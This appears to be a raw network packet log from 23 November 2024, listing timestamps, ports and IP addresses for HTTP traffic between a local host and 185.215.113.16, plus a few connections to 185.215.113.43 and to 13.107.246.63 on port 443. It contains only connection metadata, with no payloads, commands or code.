Nov 23, 2024 20:23:47.728487015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.728643894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.729506969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.729557991 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.729624033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.729671001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.730638027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.730705976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.731580973 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.731584072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.731700897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.732130051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.732628107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.732738018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.732778072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.733663082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.733776093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.733817101 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.734716892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.734808922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.734904051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.735765934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.735862970 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.735929012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.736846924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.736893892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.736931086 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.737826109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.737947941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.737988949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.738861084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.738965988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.739012957 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.739921093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.740005016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.740080118 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.740947962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.740984917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.741034985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.741981030 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.742082119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.742115021 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.743099928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.743156910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.743199110 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.744014978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.787499905 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.890985012 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.891537905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.891547918 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.891625881 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.891707897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.891766071 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.892769098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.892780066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.892827988 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.893863916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.893874884 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.893933058 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.894922972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.895065069 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.895103931 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.896785975 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.896922112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.896990061 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.897232056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.897243023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.897253036 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.897299051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.897320986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.897365093 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.898256063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.898360968 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.898402929 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.899276972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.899401903 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.899442911 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.900383949 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.900427103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.900659084 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.901364088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.901474953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.901633024 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.902435064 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.902496099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.902601004 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.903534889 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.903788090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.903836012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.907952070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.907963037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.907994032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.908004999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.908018112 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.908049107 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.908080101 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.908090115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.908107042 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.908133984 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.909337044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.909475088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.909574032 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.910211086 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.910296917 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.910301924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.910379887 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.910389900 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.910434008 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.910438061 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.910567999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.910686016 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.911477089 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.911488056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.911596060 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.912580967 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.912718058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.912792921 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.913458109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.913589954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.913661003 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.913909912 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.913928032 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.914021015 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.914293051 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.914305925 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.914444923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.914563894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.914623976 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.915472984 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.915760994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.915812016 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.916702032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.916712046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.916799068 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.917685986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.917817116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.917907000 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.918761015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.918771982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.918822050 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.919769049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.919891119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.919935942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.920757055 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.920885086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.920938015 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.921761990 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.921844959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.921855927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.921865940 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.921894073 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.921927929 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.922137022 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.922277927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.922323942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.923142910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.923274040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.923324108 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.924206018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.924330950 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.924385071 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.925235033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.925344944 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.925432920 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.926281929 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.926410913 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.926465034 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.927294016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.927428007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.927809954 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.929517031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.930474043 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.930536985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.932565928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.932576895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.932586908 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.932599068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.932651997 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.932651997 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.933136940 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.933147907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.933199883 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.934079885 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.934359074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.934468985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.935292959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.935436010 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.935508013 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.936295986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.936441898 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937129974 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937139988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937150955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937160969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937171936 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.937278032 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.937700033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.937817097 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.938206911 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.938731909 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.938829899 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.938885927 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.939791918 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.939801931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.939884901 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.940835953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.940920115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.941086054 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.941836119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.941941023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.942126036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.942878962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.942909956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.943567038 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.943686008 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.943907976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.944009066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.944169998 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.944956064 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.946768999 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.946921110 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.947101116 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.948235989 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.948254108 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.948483944 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.948487997 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.957546949 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.957560062 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.957582951 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.957588911 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.958496094 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:47.959014893 CET	49883	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:47.960966110 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.961034060 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.961168051 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.961373091 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.961405993 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.985582113 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.988781929 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.988827944 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.988843918 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.988910913 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.988910913 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.989923954 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.989928961 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.990706921 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.991720915 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.991741896 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.991822004 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.992016077 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.992031097 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.019915104 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.020391941 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.020401955 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.020822048 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.020826101 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.092511892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.092557907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.092915058 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.092948914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.093184948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.093214989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.093256950 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.094218016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.094317913 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.094326973 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.095271111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.095376015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.095546961 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.096311092 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.096421003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.096671104 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.097335100 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.097455978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.097487926 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.098385096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.098514080 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.098552942 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.099529982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.099570990 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.099656105 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.100459099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.100579023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.100627899 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.101517916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.101608038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.101744890 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.102514029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.102649927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.102866888 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.103600979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.103780031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.103807926 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.104612112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.104898930 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.105036974 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.105662107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.105756998 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.105931044 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.106686115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.106795073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.106868029 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.107805014 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.107856989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.107891083 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.108139038 CET	80	49875	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:48.108944893 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.108977079 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.109085083 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:48.109091043 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.109802961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.109913111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.109939098 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.110816956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.111018896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.111076117 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.111871004 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.111987114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.112204075 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.112896919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.112997055 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.113059998 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.113945961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.114008904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.114070892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.114968061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.115091085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.115092993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.116017103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.116138935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.116164923 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.117095947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.117181063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.117480993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.118100882 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.118223906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.118253946 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.119132996 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.119174957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.119225025 CET	49870	80	192.168.2.4	185.215.113.16
